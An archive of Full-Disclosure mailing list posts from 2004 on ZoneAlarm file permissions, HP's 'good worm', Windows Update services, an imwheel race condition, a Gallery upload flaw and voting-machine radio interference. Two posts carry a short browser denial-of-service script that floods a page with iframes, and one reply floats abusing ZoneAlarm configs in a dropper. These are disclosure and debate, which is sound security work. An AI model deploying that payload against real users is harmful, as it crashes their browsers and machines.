point-to-point, with the mail servers only able to re-direct and broadcast mail with authentication. Maybe we could slow a lot of the hacking down and spam. But again until the market place demands it M$, Linux and everybody else it's business as usual. Keeps us employed I guess. Jan Clairmont Firewall Administrator/Consultant ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ** This transmission may contain information that is privileged, confidential and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. Thank you ** ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
Todd Towles wrote: Sounds like it about as easy to shutdown as Microsoft's SP2 firewall... Overwrite a file, it fails integrity checks and the firewall will fail closed. There is something to add to a dropper program. This by itself would make an effective short-term DoS of a consumer PC. -Barry ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind
Clairmont, Jan M wrote: Glenn: Not to take issue with the performance of encryption, but what good is performance when it's all spent processing spam, malware, trojans, spyware and all the other cr*p that downloads. Even things like spybot, zone alarm etc. do not prevent any of the junk that gets loaded thru mail and port 80, plus any other vulnerabilities that continually open up. An interesting cost benefit analysis of this would be to take the amount of bandwidth increase if people used encrypted/authenticated pipes as upposed to unencrypted/enauthenticated pipes just for mail (in this case) and compare that to the bandwidth lost in SPAM (only count spam that would be blocked by said authentication system) and see which comes out larger. If the bandwidth consumption is less for the encryption, then you have your answer. -Barry p.s. I'm not sure where to start to get valid numbers on this. Every scenario I've been able to think of in the time it took to write this e-mail has major methodological flaws. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: RE: [Full-Disclosure] Electronic Voting Machines - WinVote by Adv anced Voting Solutions
These power ranges are perfectly legal in (some of) the amateur radio bands. The 2.4 ghz ISM band partially overlaps the 2.4 ghz amateur band. Dangerous? Very. One use: Moonbounce communications. I've heard of people running 1.5kw into very high gain antenna arrays producing ERP's in the 1/4 megawatt range for moonbounce. This is still perfectly legal. (but using it as a weapon isn't) Now pointing the thing around and intentionally blowing the front end off of everything somewhat resonant (and popping eyeballs) with it would be illegal, but I'm only discussing incidental interference. -Michael On Fri, 2004-08-20 at 07:50, James Tucker wrote: Of course the power ranges you quote are also illegal, not to mention extremely dangerous. signature.asc Description: This is a digitally signed message part
Re: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
On Aug 20, bipin gautam ([EMAIL PROTECTED]) typed: bipin: On Friday 20 August 2004 12:40, John LaCour wrote: bipin:There is absolutely no security issue here. bipin: bipin:ZoneAlarm does not rely on file permissions to protect bipin:any configuration files. Configuration files are protected bipin:by our TrueVector(r) driver in the kernel. bipin: bipin: Which is, of course, completely utterly infallible bipin: so any additional means are bipin: not only unneccessary, but even unwanted. bipin: bipin: In my part of globe, 90% of dialup users just turn on bipin: zone alarm pro. JUST before connecting to the bipin: internet... cauz its too annoying cauz zap pop's up bipin: with bla...bla...bla quit often and use resources bipin: etc... bipin: bipin: bipin Aye. ZA Pro does consume quite a bit of the CPU at times. Im consdering a hardware fw just for that reason. There are other things about logging that concern me as well. But that's different topic. Scott Birl http://concept.temple.edu/sysadmin/ Senior Systems AdministratorComputer Services Temple University *******+******** ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] The 'good worm' from HP
On Friday 20 August 2004 19:38, KF_lists wrote: This is cute... http://p2pnet.net/story/2182 Stuff like counter-attacking has been discussed often, whether in large open forums such as FD or in more private circles. Mostly, people were too concerned to open themselves up for huge lawsuits and or for prosecution even, but now that an important influential company like HP is suggesting (building) it, this may well signifiy an important shift in the fight against malware. I, for one, welcome the initiative... Maarten -KF -- Yes of course I'm sure it's the red cable. I guarante[^%!/+)F#0c|'NO CARRIER ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Windows Update
I have had that same issue. Check to see if your BITS Service is on. I had mine disabled. It didn't like that. Try enabling the BITS service, then try again. I have Automatic Updates disabled now, and I can update manually. Ez. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Security List Sent: Friday, August 20, 2004 11:51 AM To: [EMAIL PROTECTED] Subject: [Full-Disclosure] Windows Update Went to windows update last night w/ XP Pro. Redirected to the v5 version. I was asked to install the new Windows Update software...downloaded the WU software...copied the files...then saw registering...kinda thinking that it was checking for a valid registration or license. No updates needed according to WU. XP SP2 is not available via WU for XP Pro yet. Now, I checked the Automatic Update service to see if it was turned back start automatic as I always have it disabled. Yup, it was set to automatic and it was started. I stop and disable automatic update service, and try WU. Get error stating that the automatic update service must be enable to use WU now. Has anybody else head of this? Once again, we must have services that we do not want enable. I can not believe that they are forcing user to turn on the service to use WU. __ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] The 'good worm' from HP
Stuff like counter-attacking has been discussed often, This isn't necessary counter-attacking. Most operators of large, decentralized networks who have some say on what's running on the machines (e.g. operators of educational or corporate networks) follow some process that detects compromised machines based on anomalous network activity, takes care of malware removal, and tries to ensure that the machine has up-to-date patches. These processes could surely benefit from some automation. There are quite a few products in this area, but all which I've heard of so far completely lack integration with existing trouble ticketing frameworks, which make them rather pointless because you don't want to throw away your existing processes. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind
On Fri, 20 Aug 2004 12:23:35 EDT, Barry Fitzgerald said: An interesting cost benefit analysis of this would be to take the amount of bandwidth increase if people used encrypted/authenticated p.s. I'm not sure where to start to get valid numbers on this. Every scenario I've been able to think of in the time it took to write this e-mail has major methodological flaws. Estimating the overhead is pretty easy. As a straw man, take the size of the PGP signature on this message as a fairly fixed overhead for one style of authenticated. For encrypted, there's a good chance the message will actually end up *smaller*, because most crypto packages compress before signing, in order to (a) make it faster (as the compression is probably quicker than signing) and (b) more secure (the reason English text compresses so well is because there's lots of entropy - compressing first gets rid of a lot of the entropy). For another datapoint, consider the following DomainKey header I saw in a mail from an early adopter: DomainKey-Signature: a=rsa-sha1; s=mail; d=resistor.net; c=simple; q=; b=Hm PldyQdhZsXA12xUJ0oHscqlYYfF/E/H2T1MowOryfJnLfIIZGGUjYvSGMo2rFo That will also probably be a usually fairly fixed size overhead tag. The hard part is coming up with a good estimate of what % of spam will be properly authenticated once spammers start using the cached credentials already present on the PC in order to send out their spam pgpLxNFj1y5hc.pgp Description: PGP signature
RE: [Full-Disclosure] Windows Update
Yep, this is how it works now. You control whether Windows Update is updating or not via the security panel in the control panel applets (wscui.cpl). Of course if you aren't using automatic update you could always disable the service and just reenable when you go to do the update, or don't use windows update at all and just pull the downloads separately. We are talking about a single command line to reenable that service If you like it disabled To enable Sc config wuauserv start= demand net start wuauserv To redisable Sc config wuauserv start= disable net stop wuauserv If you can live with it not being autostart To enable net start wuauserv To redisable net stop wuauserv You could even make a batch file to launch windows update and if it make the changes for you. If you want to get really fancy writing an app to do that wouldn't be overly involved either and then you can just replace what is fired by the icon for Windows Update. Is it a pain? Yes, for those who like to run minimal services. Is it a security issue or life threatening, probably not. As for SP2 not being available for Pro on WU yet, that is also correct. Corporations asked for a hold on the launch so they can get some testing done and if necessary get a registry change in place to block WU auto updates of SP2 until later. You obviously still can manually go download it. It will not be available for Pro on WU until at least 8/25/2004. joe -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of ISNYC Sent: Friday, August 20, 2004 1:31 PM To: 'Security List'; [EMAIL PROTECTED] Subject: RE: [Full-Disclosure] Windows Update I have had that same issue. Check to see if your BITS Service is on. I had mine disabled. It didn't like that. Try enabling the BITS service, then try again. I have Automatic Updates disabled now, and I can update manually. Ez. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Security List Sent: Friday, August 20, 2004 11:51 AM To: [EMAIL PROTECTED] Subject: [Full-Disclosure] Windows Update Went to windows update last night w/ XP Pro. Redirected to the v5 version. I was asked to install the new Windows Update software...downloaded the WU software...copied the files...then saw registering...kinda thinking that it was checking for a valid registration or license. No updates needed according to WU. XP SP2 is not available via WU for XP Pro yet. Now, I checked the Automatic Update service to see if it was turned back start automatic as I always have it disabled. Yup, it was set to automatic and it was started. I stop and disable automatic update service, and try WU. Get error stating that the automatic update service must be enable to use WU now. Has anybody else head of this? Once again, we must have services that we do not want enable. I can not believe that they are forcing user to turn on the service to use WU. __ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] The 'good worm' from HP
Thats pretty funny.. didnt someone else release a worm like that some time ago? The worm previoulsy released downloaded a patch from Microsoft to vulnerable machines, but I think these types of things create their own little DoS attacks when they get transmitted to offices with a less than desired Internet Connection. I dont think they're going to equip this thing with any type of intelligence to monitor Internet connection speeds or network bandwidth.. in view of this, I think thiswould just get classifiedinto another threat.KF_lists [EMAIL PROTECTED] wrote: This is cute...http://p2pnet.net/story/2182-KF___Full-Disclosure - We believe in it.Charter: http://lists.netsys.com/full-disclosure-charter.html__Do You Yahoo!?Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com
Re: [Full-Disclosure] Windows Update
Security List wrote: Went to windows update last night w/ XP Pro. Redirected to the v5 version. I was asked to install the new Windows Update software...downloaded the WU software...copied the files...then saw registering...kinda thinking that it was checking for a valid registration or license. No updates needed according to WU. XP SP2 is not available via WU for XP Pro yet. Now, I checked the Automatic Update service to see if it was turned back start automatic as I always have it disabled. Yup, it was set to automatic and it was started. I stop and disable automatic update service, and try WU. Get error stating that the automatic update service must be enable to use WU now. Has anybody else head of this? Once again, we must have services that we do not want enable. I can not believe that they are forcing user to turn on the service to use WU. I can confirm this, kinda. Checking my services, I have Automatic Updates on Automatic Startup and Started, BITS on Manual and not started, and Event Log on Automatic and started. Windows Update v5 works. After fooling with starting and stopping services, and then changing states between Automatic, Manual, and Disabled, Windows Update v5 fails to run unless Automatic Updates is set to Automatic Startup. Strangely it will work if the service is set to Automatic Startup, yet is in the Stopped state. And it will not work if Automatic Updates is set to Manual Startup and in the Started state. Here's the output from the Windows Update v5 site when it fails: - Windows Update cannot continue because a required service application is disabled. Windows Update requires the following services: Automatic Updates enables detection, downloading, and installation of critical updates for your computer. Background Intelligent Transfer Service (BITS) enables faster, restartable downloading of updates. Event Log logs Windows Update events for troubleshooting. To ensure that these services are enabled: 1. Click Start, and then click Run. 2. Type services.msc and then click OK. 3. In the list of services, right-click the service name, and then click Properties. 4. In the Startup type list, select Automatic. 5. Verify that the service status is started. - -d ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] The 'good worm' from HP
Thats pretty funny.. didnt someone else release a worm like that some time ago? The worm previoulsy released downloaded a patch from Microsoft to vulnerable machines, but I think these types of things create their own little DoS attacks when they get transmitted to offices with a less than desired Internet Connection. I dont think they're going to equip this thing with any type of intelligence to monitor Internet connection speeds or network bandwidth.. in view of this, I think this would probably just get classified into another threat. - JV KF_lists [EMAIL PROTECTED] wrote: This is cute...http://p2pnet.net/story/2182-KF___Full-Disclosure - We believe in it.Charter: http://lists.netsys.com/full-disclosure-charter.html Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages!
RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
Todd Towles [EMAIL PROTECTED] 8/20/2004 9:15:58 AM: Sorry John, I was confused between Failing Closed and Failing Open. If integrity checks fail, no traffic is passed. That is better than Microsoft's simple reg disable hack. However, this would still make it prime for a DoS attack by the next strain of e-mail virus. And most users who are not knowledgeable (those who would be opening the attachment in the first place) would probably not understand why they, now, cannot connect to the Internet. Matt -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of John LaCour Sent: Friday, August 20, 2004 5:40 AM To: bipin gautam; [EMAIL PROTECTED] Cc: Zone Labs Security Team Subject: RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro. -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 There is absolutely no security issue here. ZoneAlarm does not rely on file permissions to protect any configuration files. Configuration files are protected by our TrueVector(r) driver in the kernel. In addition to protecting configuration files against unauthorized changes, there are additional integrity checks and other protection mechanisms implemented for all policy configuration files. Should any policy configuration files fail integrity checks, the firewall will fail closed. Again, no issue. - -- John LaCour Security Services Group Manager Zone Labs LLC, A Check Point Company From: bipin gautam [mailto:[EMAIL PROTECTED] Sent: Thursday, August 19, 2004 7:51 PM To: [EMAIL PROTECTED] Subject: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro. Hello list, Zone Alarm stores its config. files in %windir%\Internet Logs\* . But strangely, ZoneAlarm sets the folder/file permission (NTFS) of %windir%\Internet Logs\* to, EVERYONE: Full after its first started. Even If you try to change the permission to... Administrator (s): full system: full users: read and execute [these are the default permissions] Strangely, the permission again changes back to... EVERYONE: Full each time ZoneAlarm Pro (ZAP) is started. I've tested these in zap 4.x and 5.x This could prove harmful if we have a malicious program/user running with even with a user privilege on the system. Well a malicious program could modify those config file in a way ZAP will stop [snip] Bipin Gautam -BEGIN PGP SIGNATURE- Version: PGP 8.0.2 iQA/AwUBQSXVCqeZbSyAsADEEQK9fgCeLLipKBn3Z7+PYj1E6GXkT0lubIgAnjCY ssK9UOJxQn98yj/5x+tWiPzw =OdxT -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
yet, if I read this properly it wasnpt simply and open e-mail attachment issue was it, it was open attachment then make suggested changes to the system issue wasn't it? If I understood the problem, then it really requres more then a simple luser, it requires the most stupid of lusers for it to take. and in that case, we're perhaps better off with them DOS'ed? smile thanks, Ron DuFresne However, this would still make it prime for a DoS attack by the next strain of e-mail virus. And most users who are not knowledgeable (those who would be opening the attachment in the first place) would probably not understand why they, now, cannot connect to the Internet. Matt ~~ Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation. -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] The 'good worm' from HP
On Fri, 20 Aug 2004 19:55:51 +0200, Maarten said: Stuff like counter-attacking has been discussed often, whether in large open forums such as FD or in more private circles. Mostly, people were too concerned to open themselves up for huge lawsuits and or for prosecution even, but now that an important influential company like HP is suggesting (building) it, this may well signifiy an important shift in the fight against malware. I, for one, welcome the initiative... Hmm.. a Magic Worm that goes around and fixes everything and makes it all better... just what we need. It's also the perfect cover to get Magic Lantern onto 90% of the boxes out there. Remember - it's not tin-foil paranoia when They have already come out and *said* They want to do it... ;) pgpB2TjRDNZKK.pgp Description: PGP signature
RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro.
Ron DuFresne [EMAIL PROTECTED] 8/20/2004 1:10:21 PM: yet, if I read this properly it wasnpt simply and open e-mail attachment issue was it, it was open attachment then make suggested changes to the system issue wasn't it? If I understood the problem, then it really requres more then a simple luser, it requires the most stupid of lusers for it to take. and in that case, we're perhaps better off with them DOS'ed? smile Okay, so I didn't make myself clear. Hmm. My contention was that, if permissions are Full for Everyone, then the virus could write changes on its own. Depending on how it works, it's conceivable these changes are not detected by the TrueVector(R) driver. By making changes, that could trip ZA's integrity checks (at some point; after rebooting, perhaps) and cause it to fail. By failing, the user can no longer connect to the Internet and may not understand why or know what to do about it. E-mail w/virus - (L)user opens - Runs attachment - Attachment makes changes to key ZA files since permissions are wide open - ZA fails integrity check - denies Internet access. That is the full timeline I had in mind, and the nature of the DoS. Your suggestion reminds me of the (insert name of group of people here) Virus (I Googled it to the Kentucky Virus, but I'm sure it has other names), whereby the virus works on the honor system and the user should erase his/her own hard drive. :-) Matt ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: RE: [Full-Disclosure] Electronic Voting Machines - WinVote by Adv anced Voting Solutions
Actually, no it's not illegal, and no, it's not especially dangerous. While FCC regs require Ham operators to use the lowest practical power in their communications, that is something that's open to interpretation. Hams on some freqs crank out 1500 watts quite readily - and safely. We're not talking about a WiFi card in your laptop, or a cell phone next to your head - there are safety considerations and limits of exposure and such. But your statement that it's illegal and dangerous is patently untrue for the amature radio crowd. Hams are, incidently, the Primary Users for the lower 6 channels (US spec) used by WiFi. Cheers, L4J On Fri, Aug 20, 2004 at 09:50:43AM -0300, James Tucker wrote: Of course the power ranges you quote are also illegal, not to mention extremely dangerous. On Thu, 19 Aug 2004 10:21:49 -0500, Michael Williamson [EMAIL PROTECTED] wrote: Using 802.11 for anything remotely critical is outright STUPID. FCC regulations are such that these part 15 devices (802.11, cordless phones, baby monitors) have no legal protection from interference from licensed services (amateur radio, TV stations, etc). If I'm running a high powered (10-100 watt) maybe signal at 2.4 ghz for amateur radio TV and happen to be living across the street from an election center, they're basically screwed. As a matter a fact, if their 802.11 is interfering with my licensed operation, it is they who must shut down. -Michael Without even commenting on the security of WEP, it seems to me that a massive DDOS attack against the voting machines could prevent vote tallies from being counted in a timely manner. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] DDoS and the right way to react...
I've a server and it's DDoSed for a week now. I informed the ISPs but they don't react so what else can I do to stop a damn DDoS attack? My server shows me about some houndrets entry like: tcp0 0 62.8.206.154.80129.125.220.178.2056 FIN_WAIT_2 tcp0 0 62.8.206.154.8024.101.73.167.2011 FIN_WAIT_2 tcp0 0 62.8.206.154.8083.27.195.87.13242 FIN_WAIT_2 tcp0 0 62.8.206.154.80129.125.220.178.2055 FIN_WAIT_2 tcp0 0 62.8.206.154.8024.101.73.167.2010 FIN_WAIT_2 tcp0 0 62.8.206.154.80129.125.220.178.2054 FIN_WAIT_2 tcp0 0 62.8.206.154.8024.101.73.167.2008 FIN_WAIT_2 tcp0 0 62.8.206.154.80129.125.220.178.2053 FIN_WAIT_2 tcp0 0 62.8.206.154.8024.101.73.167.2007 FIN_WAIT_2 tcp0 0 62.8.206.154.80129.125.220.178.2052 FIN_WAIT_2 tcp0 0 62.8.206.154.8024.101.73.167.2006 FIN_WAIT_2 tcp0 0 62.8.206.154.80129.125.220.178.2051 FIN_WAIT_2 tcp0 0 62.8.206.154.8083.27.195.87.13240 FIN_WAIT_2 tcp0 0 62.8.206.154.8024.101.73.167.2005 FIN_WAIT_2 So what can I do? Or: Could somebody tell me how to contact the police in poland, netherland and the other country? Thanks for some tipps vh pgpTRj7D1Odcl.pgp Description: PGP signature
Re: [Full-Disclosure] Windows Update
joe wrote: Yep, this is how it works now. You control whether Windows Update is updating or not via the security panel in the control panel applets (wscui.cpl). To eb complete, I should have mentioned I have Automatic Updates turned off in the control panel. I also had the service disabled before applying SP2 and venturing to Windows Update v5. Of course if you aren't using automatic update you could always disable the service and just reenable when you go to do the update, or don't use windows update at all and just pull the downloads separately. We are talking about a single command line to reenable that service Yep. Is it a pain? Yes, for those who like to run minimal services. Is it a security issue or life threatening, probably not. Agreed. -d ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] The 'good worm' from HP
On Friday 20 August 2004 21:57, [EMAIL PROTECTED] wrote: On Fri, 20 Aug 2004 19:55:51 +0200, Maarten said: Stuff like counter-attacking has been discussed often, whether in large open forums such as FD or in more private circles. Mostly, people were too concerned to open themselves up for huge lawsuits and or for prosecution even, but now that an important influential company like HP is suggesting (building) it, this may well signifiy an important shift in the fight against malware. I, for one, welcome the initiative... Hmm.. a Magic Worm that goes around and fixes everything and makes it all better... just what we need. It's also the perfect cover to get Magic Lantern onto 90% of the boxes out there. Remember - it's not tin-foil paranoia when They have already come out and *said* They want to do it... ;) True. But then again, those who want to infect us with magic lantern type thingies don't neccessarily need a 'benign' worm to infect us. In fact, if they really wanted, they'd probably already infected us through other means. (And note that I'm not saying they didn't...) Maarten -- Yes of course I'm sure it's the red cable. I guarante[^%!/+)F#0c|'NO CARRIER ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] CAU-2004-0002 - imwheel Predictable PidFile Name Race Condition
____
/\/\ | | | |
/ /\__\##/ /\ \##| |##| |
| | | |__| | | | | |
| | ___ | __ | | | | |
--==##\ \/ /#| |##| |#| |##| |##==--
\/ |__| |__| \__/
Computer Academic Underground
http://www.caughq.org
Security Advisory
===/
Advisory ID:CAU-2004-0002
Release Date: 06/24/2004
Title: imwheel Predictable PidFile Name Race Condition
Application/OS: imwheel 1.0.0pre11 (Linux/X11)
Topic: imwheel's behavior regarding a predictably named pidfile
introduces many security issues via a race condition.
Vendor Status: Notified on 06/10/2004 via SourceForge, no response.
Attributes: Denial of Service, Resource Exhaustion, Arbitrary File
Modification
Advisory URL: http://www.caughq.org/advisories/CAU-2004-0002.txt
Author/Email: I)ruid [EMAIL PROTECTED]
===/
Overview
imwheel exclusively uses a predictably named PID file for management of
multiple imwheel processes. A race condition exists when the -k
command-line option is used to kill existing imwheel processes. This
race condition may be used by a local user to Denial of Service another
user using imwheel, lead to resource exhaustion of the host system, or
append data to arbitrary files.
Impact
==
Three separate issues may be inflicted by a successful race attack
against the imwheel PID file.
In the first case, a legitimate user may not be able to further use
imwheel due to a malicious user taking control of the PID file. This
will cause the imwheel process to be unable to write to the PID file and
not start up properly. This case does not exist if imwheel is suid
root or run by the root account, as those permissions will allow the PID
to be written properly to the pidfile.
In the second case, a malicious user may steal control of and constantly
wipe the contents of the PID file, causing imwheel to be unable to
detect and kill existing imwheel processes when it is started with the
-k command-line option, eventually leading to resource exhaustion.
In the third case, a malicious user may symlink the pidfile to an
arbitrary file. If the permissions of the user running imwheel allows,
imwheel will append it's PID to the arbitrary file, potentially causing
corruption of data. The severity of this case is compounded if imwheel
is suid root or run by the root account.
Affected Systems
imwheel is developed for the Linux operating system and is a tool to be
used under the X window environment.
Technical Explanation
=
imwheel uses a predictably named PID file to store process IDs of
currently running imwheel processes. By default, this file is
/tmp/imwheel.pid. If this file exists when imwheel starts, it appends
it's PID to the file. If imwheel is started with the -k command-line
option to kill all existing imwheel processes, imwheel calls the
KillIMWheel() function in util.c to step through this file PID by PID,
check via the /proc filesystem that the PID's name is imwheel, kill the
process, then repeats for the remaining PIDs in the pidfile. When it
has finished with each PID in the file, the file is unlinked, then re-
created by the new process which writes it's PID to the file. This
behavior creates a race condition where a malicious user may write to
the pidfile during this time window. If imwheel is executed by a local
user, this may prevent imwheel from starting properly if the pidfile's
permissions do not allow the user to write to the pidfile, resulting in
this error:
ERROR: Couldn't write pid to pid file
Perhaps you want the -p option to avoid this...
Otherwise you may SUID root the imwheel executable.
: Permission denied
If the user executing imwheel does have permissions to write to the
pidfile, imwheel will start properly, however the pidfile will still be
owned by the malicious user, who may then wipe out the contents of the
pidfile, causing further instances of imwheel run with the -k option to
not properly shut down existing instances of imwheel, eventually causing
resource exhaustion. Further, a malicious user could symlink the
pidfile to any arbitrary file on the system, causing imwheel to append
it's PID to the file, potentially causing corruption of data.
Solution Recommendations
==
We are currently unaware of any vendor-provided solution to this issue.
A workaround is to use imwheel's --pid|-p option to cause imwheel to run
without checking or using PID files. This will prevent the local user
DoS
[Full-Disclosure] IE DoS
Description
IE DoS through viewing of a
malicious page that repeatedly loads iframes of C:\Windows\System32
POC
===
scr1pt language="_javascript_"
while(true)
{
document.write("iframe src=""
}
/scr1ptDiscovered by MeFakon part of the su1d exploit development team
DISCLAIMER:
This advisory is meant only for the dissemination of information, alerting the
general public about a security issue. Use this information at your own
discretion.
In brief, the author is not responsible for any use, misuse, abuse of this
information. Also, this information is provided "as is" without any warranty of
any kind.
Re: [Full-Disclosure] The 'good worm' from HP
Maarten wrote: Stuff like counter-attacking has been discussed often, whether in large open forums such as FD or in more private circles. Mostly, people were too concerned to open themselves up for huge lawsuits and or for prosecution even, but now that an important influential company like HP is suggesting (building) it, this may well signifiy an important shift in the fight against malware. I, for one, welcome the initiative... You need to read Vesselin Bontchev's classic Are 'Good' Viruses Still a Bad Idea? paper before you can even begin to enter this debate. And if you think the age of that paper automatically disbars it from contemporary discussion, the reason there are no more recent papers worth reading is because no-one has meaningfully challenged Bontchev's position since that paper was written. I hope the HP folk have read it and thought very carefully about all this... (Sadly the media reports are too light and fluffy to make anything sensible of what HP is really proposing.) -- Nick FitzGerald Computer Virus Consulting Ltd. Ph/FAX: +64 3 3529854 ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] IE, Firefox, Opera DoS
Description
Browser DoS through viewing
of a malicious page that repeatedly loads iframes of C:\Windows\System32 using
100% cpu
Crashes Mozilla Firefox, Latest
Opera and IE - Opera gives the error "The address type is unknown or
unsupported" and crashes
POC
===
scr1pt language="_javascript_"
while(true)
{
document.write("iframe src=""
}
/scr1ptDiscovered by MeFakon part of the su1d exploit development teamDISCLAIMER:
This advisory is meant only for the dissemination of information, alerting the
general public about a security issue. Use this information at your own
discretion.
In brief, the author is not responsible for any use, misuse, abuse of this
information. Also, this information is provided "as is" without any warranty of
any kind.
Re: [Full-Disclosure] RE: [Full-Disclosure]MS should re-write code with security in mind
Clairmont, Jan M wrote: big snip ... So what is the alternative? Go to a totally secure network computing system like the military? Hahahahahahahahahahahahahaha... ... Oh, you didn't think you were making a funny?? Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Electronic Voting Machines - WinVote by Adv anced Voting Solutions
Not long ago I sent out a mail regarding electronic voting, it was related to a politically motivated thread though so many likely filtered it. I suggest anyone interested take a tour of the verified voting website. They have fairly in depth coverage and information you may find useful. I also suggest you take the time to get involved and have an impact. http://www.verifiedvoting.org/ It is a US based site and debate however there is plenty of information on worldwide usage of paperless voting systems for others that may be interested. Mister Coffee wrote: Actually, no it's not illegal, and no, it's not especially dangerous. While FCC regs require Ham operators to use the lowest practical power in their communications, that is something that's open to interpretation. Hams on some freqs crank out 1500 watts quite readily - and safely. We're not talking about a WiFi card in your laptop, or a cell phone next to your head - there are safety considerations and limits of exposure and such. But your statement that it's illegal and dangerous is patently untrue for the amature radio crowd. Hams are, incidently, the Primary Users for the lower 6 channels (US spec) used by WiFi. Cheers, L4J On Fri, Aug 20, 2004 at 09:50:43AM -0300, James Tucker wrote: Of course the power ranges you quote are also illegal, not to mention extremely dangerous. On Thu, 19 Aug 2004 10:21:49 -0500, Michael Williamson [EMAIL PROTECTED] wrote: Using 802.11 for anything remotely critical is outright STUPID. FCC regulations are such that these part 15 devices (802.11, cordless phones, baby monitors) have no legal protection from interference from licensed services (amateur radio, TV stations, etc). If I'm running a high powered (10-100 watt) maybe signal at 2.4 ghz for amateur radio TV and happen to be living across the street from an election center, they're basically screwed. As a matter a fact, if their 802.11 is interfering with my licensed operation, it is they who must shut down. -Michael Without even commenting on the security of WEP, it seems to me that a massive DDOS attack against the voting machines could prevent vote tallies from being counted in a timely manner. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Gallery 1.4.4 save_photos.php PHP Insertion Proof of Concept
#!/usr/bin/php Gallery 1.4.4 save_photos.php PHP Insertion Proof of Concept By aCiDBiTS [EMAIL PROTECTED] 17-August-2004 ++ Vulnerability description ++ Gallery (http://gallery.sf.net/) is a PHP image gallery script. Having permission to upload photos in some album and the temporal directory is in the webtree, then it is possible to create a file with any extension and content. Tested in v 1.4.4, maybe older versions also vulnerable. When uploading photos with the URL method, they are saved in the temporal directory before processing them. Any file with any content is accepted. After downloading, the file is processed (discarded if it is not an image) and deleted from the temporal directory. When the script downloads the file to the temporal directory there's the function set_time_limit() that by default waits 30 seconds to abort the process if no more data is recieved and the transfer connection isn't closed. If the temporal directory is in the webtree, during this 30 seconds timeout we can access to the file, executing it. There's also a directory disclosure that I've used to determine if the temporal directory is in gallery's webtree. It consists in sending a longer filename than permited by the filesystem for the image upload name. We are disappointed that you made no effort to get in touch with us about this issue before announcing it on full-disclosure, which prevented us from having a fix ready at the same time. A fix has been made and both an update patch (1.4.4-sr1) and full release (1.4.4-pl1, which also fixes some other minor non-security related bugs) are available for download as of 11:00pm EST August 20th 2004. download information: http://sourceforge.net/project/showfiles.php?group_id=7130 release information: http://gallery.sourceforge.net/article.php?sid=134 -Chris Kelly Gallery Project Manager ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
